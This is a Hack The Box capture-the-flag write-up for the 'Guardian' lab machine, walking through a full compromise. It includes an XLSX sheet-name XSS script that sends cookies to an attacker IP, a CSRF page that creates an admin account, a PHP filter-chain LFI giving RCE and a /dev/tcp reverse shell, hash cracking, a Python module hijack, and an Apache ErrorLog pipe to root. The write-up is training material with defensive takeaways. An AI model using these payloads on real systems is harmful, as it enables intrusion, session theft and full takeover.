Back to writeups

Guardian - Writeup

Guardian
Hard
Linux

Reconnaissance

Port Scan

Nmap reveals two open ports:

  • 22/tcp - SSH
  • 80/tcp - HTTP (Apache 2.4.52)

Service Identification

Port 80 hosts Guardian University Portal - a PHP university management platform with role-based access (student, lecturer, admin). Features include assignment submissions, grading, a notice board, chat, and report generation.

The main landing page lists 3 Student IDs:

  • GU0142023@guardian.htb
  • GU6262023@guardian.htb
  • GU0702025@guardian.htb

The login page includes a Portal Guide which mentions the default password GU1234. Testing this against the listed student IDs:

# Valid login

GU0142023:GU1234

IDOR in Chat → Gitea Credentials

After logging in as a student, the Chats section reveals an IDOR vulnerability. The chat_users parameters are directly controllable via URL:

http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14

By iterating through user IDs, we can read any conversation on the platform. The chat between users 1 and 2 contains Gitea credentials:

http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2

Credentials found: jamil:DHsNnk3V503

Source Code via Gitea

A Gitea instance runs on gitea.guardian.htb. Logging in with the leaked credentials reveals a repository containing the full source code of the Guardian portal:

FilePurpose
config/config.phpDB creds: root:Gu4rd14n_un1_1s_th3_b3st, salt: 8Sb)tM1vs1SS
lecturer/view-submission.phpPhpSpreadsheet/PhpWord HTML rendering (XSS)
lecturer/notices/create.phpNotice creation with reference_link (CSRF vector)
admin/reports.phpinclude() with regex filter (LFI)
config/csrf-tokens.phpGlobal token pool, never invalidated

Key libraries: PhpSpreadsheet v3.7.0 and PhpWord.

Credentials Summary

UserPasswordSourceAccess
GU0142023GU1234Portal Guide (default)Student panel
jamilDHsNnk3V503IDOR chat leakGitea (source code)

Initial Access - XSS via PhpSpreadsheet Sheet Name

Source Code Analysis

The lecturer/view-submission.php processes uploaded .xlsx files using PhpSpreadsheet's HTML writer:

$spreadsheet = IOFactory::load($filePath);

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);

$writer->save('php://output');

The HTML writer renders sheet names directly into the output as tab navigation elements without sanitization. By crafting an XLSX with a malicious sheet name, we achieve stored XSS when a lecturer views the submission.

Exploitation

Note: openpyxl blocks special characters (like :) in sheet names. The workaround is to create a valid XLSX first, then modify the xl/workbook.xml inside the ZIP using xml.etree - the XML naturally entity-encodes <> characters, and PhpSpreadsheet decodes them back when rendering the HTML output:

import zipfile, os

from xml.etree import ElementTree as ET



PAYLOAD = "<script>fetch('http://10.10.14.2:8000/steal?c='+document.cookie)</script>"



# 1. Create a base XLSX with two sheets

from openpyxl import Workbook

wb = Workbook()

ws1 = wb.active

ws1.title = "Sheet1"

ws1['A1'] = "Data"

ws2 = wb.create_sheet("REPLACE_ME")

ws2['A1'] = "Data"

wb.save("base.xlsx")



# 2. Patch the sheet name in workbook.xml via XML parser

# (xml.etree will entity-encode <> automatically  &lt;script&gt;)

with zipfile.ZipFile("base.xlsx", "r") as zin:

    with zipfile.ZipFile("xss_sheetname.xlsx", "w") as zout:

        for item in zin.infolist():

            data = zin.read(item.filename)

            if item.filename == "xl/workbook.xml":

                ns = "http://schemas.openxmlformats.org/spreadsheetml/2006/main"

                ET.register_namespace("", ns)

                ET.register_namespace("r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships")

                root = ET.fromstring(data)

                for sheet in root.iter(f"{{{ns}}}sheet"):

                    if sheet.get("name") == "REPLACE_ME":

                        sheet.set("name", PAYLOAD)

                data = ET.tostring(root, xml_declaration=True, encoding="UTF-8")

            zout.writestr(item, data)

os.remove("base.xlsx")

print("[+] Created xss_sheetname.xlsx")

Upload this as a student submission. When the lecturer views the submission, PhpSpreadsheet's HTML writer renders the sheet name as a tab label without escaping, causing the XSS to fire and exfiltrate the session cookie:

python3 -m http.server 8000

# GET /steal?c=PHPSESSID%3Dgq1s4a2eisec4rjvllm7mrjk3m

Lecturer session obtained.


Privilege Escalation - Lecturer to Admin via CSRF

Weak CSRF Token System

The portal's CSRF implementation has a critical flaw in config/csrf-tokens.php:

  • Tokens are stored in a shared JSON file (csrf_tokens.json)
  • Tokens are never removed after use
  • A token generated by any user is valid for any form (including admin endpoints)

This means a CSRF token obtained from the lecturer's notice creation page is valid for the admin's createuser.php endpoint.

Attack Chain

With the lecturer session, we create a notice pointing the admin bot to a CSRF page hosted on our server:

# 1. Get CSRF token (valid globally)

TOKEN=$(curl -s -b 'PHPSESSID=LECTURER_SESSION' \

  'http://portal.guardian.htb/lecturer/notices/create.php' \

  | grep -oP 'csrf_token" value="\K[^"]+')



# 2. Host CSRF payload that auto-creates an admin account

cat > pwn.html << 'EOF'

<html><body>

<form id="csrf" method="POST" action="http://portal.guardian.htb/admin/createuser.php">

  <input name="username" value="hackeradmin"/>

  <input name="password" value="Hacked123!"/>

  <input name="full_name" value="System Admin"/>

  <input name="email" value="[email protected]"/>

  <input name="dob" value="1990-01-01"/>

  <input name="address" value="Campus"/>

  <input name="user_role" value="admin"/>

  <input name="csrf_token" value="TOKEN_HERE"/>

</form>

<script>document.getElementById('csrf').submit();</script>

</body></html>

EOF

python3 -m http.server 8000



# 3. Create notice with reference_link pointing to our CSRF page

# (bypass HTML type="url" validation by using curl directly)

curl -X POST 'http://portal.guardian.htb/lecturer/notices/create.php' \

  -b 'PHPSESSID=LECTURER_SESSION' \

  -d "title=Updated+Guidelines&content=Review+needed" \

  -d "reference_link=http://10.10.14.2:8000/pwn.html" \

  -d "csrf_token=$TOKEN"

The admin bot visits the reference URL → the CSRF form auto-submits → new admin account hackeradmin:Hacked123! created.


RCE - LFI via PHP Filter Chain

admin/reports.php Analysis

The admin reports page uses include() with two guards:

$report = $_GET['report'] ?? 'reports/academic.php';



if (strpos($report, '..') !== false) {

    die("Malicious request blocked");

}

if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {

    die("Access denied. Invalid file");

}



include($report);

Constraints:

  1. No .. allowed in the path
  2. Must end with enrollment.php, academic.php, financial.php, or system.php

PHP Filter Chain Bypass

The php://filter wrapper with chained convert.iconv filters can generate arbitrary PHP code from scratch. The php_filter_chain_generator tool automates this:

git clone https://github.com/synacktiv/php_filter_chain_generator.git



CHAIN=$(python3 php_filter_chain_generator.py \

  --chain '<?php system($_GET["cmd"]); ?>' \

  | grep '^php' | sed 's|php://temp|reports/enrollment.php|')

The generated chain:

  • ✅ Ends with reports/enrollment.php (matches regex)
  • ✅ Contains no .. (iconv encoding names use single dots)
  • ✅ Generates arbitrary PHP code via filter transformations
# Test RCE

curl -b 'PHPSESSID=ADMIN_SESSION' \

  "http://portal.guardian.htb/admin/reports.php?report=$CHAIN&cmd=id"

# uid=33(www-data) gid=33(www-data) groups=33(www-data)



# Reverse shell - start listener first: nc -nlvp 4444

curl -b 'PHPSESSID=ADMIN_SESSION' \

  "http://portal.guardian.htb/admin/reports.php?report=$CHAIN&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.2/4444+0>%261'"

Shell as www-data.


Lateral Movement - Database Hash Cracking → SSH

Database Dump

Using the DB credentials from config.php:

mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' guardiandb \

  -e "SELECT username, password_hash, user_role FROM users;"

Hashes are SHA256($password.$salt) with salt 8Sb)tM1vs1SS. Cracking with John:

john hashes.txt --wordlist=rockyou.txt --format='dynamic=sha256($p.$s)'

# admin:fakebake000

# jamil.enockson:copperhouse56
ssh jamil@portal.guardian.htb  # password: copperhouse56

Privilege Escalation 1 - jamil → mark (Python Module Overwrite)

sudo Enumeration

jamil@guardian:~$ sudo -l

User jamil may run the following commands on guardian:

    (mark) NOPASSWD: /opt/scripts/utilities/utilities.py

utilities.py Analysis

The script imports from a local utils package:

from utils import db, attachments, logs, status

Checking permissions on the utils/ directory:

FilePermissionsOwner
status.py-rwxrwx---mark:admins
db.py-rw-r-----root:admins
others-rw-r-----root:admins

The status.py file is group-writable and jamil is in the admins group. The system-status action calls status.system_status() without any user check.

Exploitation

echo 'import os; os.system("bash -i")' > /opt/scripts/utilities/utils/status.py

sudo -u mark /opt/scripts/utilities/utilities.py system-status

mark@guardian:~$ id

uid=1001(mark) gid=1001(mark) groups=1001(mark),1003(admins)

Privilege Escalation 2 - mark → root (Apache Config Case-Sensitivity Bypass)

sudo Enumeration

mark@guardian:~$ sudo -l

User mark may run the following commands on guardian:

    (ALL) NOPASSWD: /usr/local/bin/safeapache2ctl

Binary Analysis

safeapache2ctl is a custom wrapper that:

  1. Requires config files to be inside /home/mark/confs/
  2. Reads the config and blocks Include, IncludeOptional, LoadModule directives
  3. Passes the validated config to /usr/sbin/apache2ctl
strings /usr/local/bin/safeapache2ctl

...

Include

IncludeOptional

LoadModule

/home/mark/confs/

Blocked: Config includes unsafe directive.

The Bypass - Case Sensitivity

The binary checks for directives using strncmp - a case-sensitive comparison. But Apache's config parser is case-insensitive. Writing loadmodule (lowercase) bypasses the filter while Apache processes it normally.

The ErrorLog directive with a pipe (|command) executes the command as root during Apache startup.

Exploitation



cat > /home/mark/confs/evil.conf << 'CONF'

ServerRoot "/etc/apache2"

loadmodule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so

loadmodule authz_core_module /usr/lib/apache2/modules/mod_authz_core.so

ServerName localhost

Mutex file:/tmp default

PidFile /tmp/evil.pid

Listen 8889

ErrorLog "|/bin/chmod u+s /bin/bash"

LogFormat "%h" common

DocumentRoot /tmp

CONF



sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/evil.conf



bash -p

# uid=1001(mark) gid=1001(mark) euid=0(root) egid=0(root)

cat /root/root.txt

Attack Chain Summary

Port 80 (Guardian University Portal)

  

  ├─ Source code analysis  config.php (DB creds, salt)

    └─ PhpSpreadsheet HTML writer: sheet names unsanitized

  

  ├─ XSS via XLSX sheet name  lecturer cookie stolen

    └─ CSRF tokens are global and never expire

       └─ Notice reference_link  admin bot visits CSRF page

          └─ Auto-creates admin account (hackeradmin)

  

  ├─ Admin LFI in reports.php (include with regex filter)

    └─ PHP filter chain generator  bypass regex + no ".."

       └─ RCE as www-data  reverse shell

  

  ├─ MySQL dump  SHA256($pass.$salt)  john cracking

    └─ jamil.enockson:copperhouse56  SSH as jamil

  

  ├─ sudo (mark) utilities.py  utils/status.py is group-writable

    └─ Overwrite status.py  shell as mark

  

  └─ sudo (ALL) safeapache2ctl  case-sensitive directive filter

     └─ "loadmodule" bypasses "LoadModule" check

        └─ ErrorLog pipe  chmod u+s /bin/bash  root

Key Takeaways

  1. PhpSpreadsheet HTML writer renders sheet names without sanitization - any user-controlled metadata in Office files should be treated as untrusted
  2. CSRF tokens must be scoped and expired - a global, persistent token pool means any authenticated user's token can target any endpoint
  3. PHP filter chains bypass path-based restrictions on include() - regex filters on filenames are insufficient; use allowlists of exact paths instead
  4. Python module hijacking via writable files in the import path is a common sudo privesc vector - ensure all imported modules have restrictive permissions
  5. Case-sensitive security checks on case-insensitive systems (Apache directives, Windows paths, SQL keywords) create bypass opportunities - always normalize case before validation
Hack The Box Achievement